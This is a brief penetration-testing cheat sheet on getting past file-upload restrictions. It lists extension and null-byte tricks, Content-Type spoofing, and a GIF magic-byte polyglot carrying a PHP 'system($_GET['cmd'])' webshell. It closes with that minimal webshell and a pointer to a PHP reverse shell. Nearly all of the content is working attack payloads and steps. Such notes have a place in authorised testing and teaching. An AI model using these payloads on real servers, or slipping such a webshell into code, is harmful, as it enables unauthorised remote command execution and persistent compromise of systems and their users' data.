Security Notes

Appearance

File Upload ​

Extension Bypass ​

Servers often block .php but accept alternate extensions that the runtime still executes: try variations until one passes the filter.

shell.php → shell.php5, shell.phtml, shell.pHp, shell.php.jpg
shell.jpg.php
shell.php%00.jpg

MIME Type Bypass ​

Change Content-Type to image/jpeg in Burp: many validators check only the header, not the actual file content.

Magic Bytes Bypass ​

Prepend a valid image magic byte sequence before the PHP payload to fool file-type validators that read the first few bytes.

GIF89a; <?php system($_GET['cmd']); ?>

Webshells ​

Upload a webshell to get command execution: use the minimal version for stealth, or a full reverse shell when you need an interactive session.

php
<?php system($_GET['cmd']); ?>
# Full shell: /usr/share/webshells/php/php-reverse-shell.php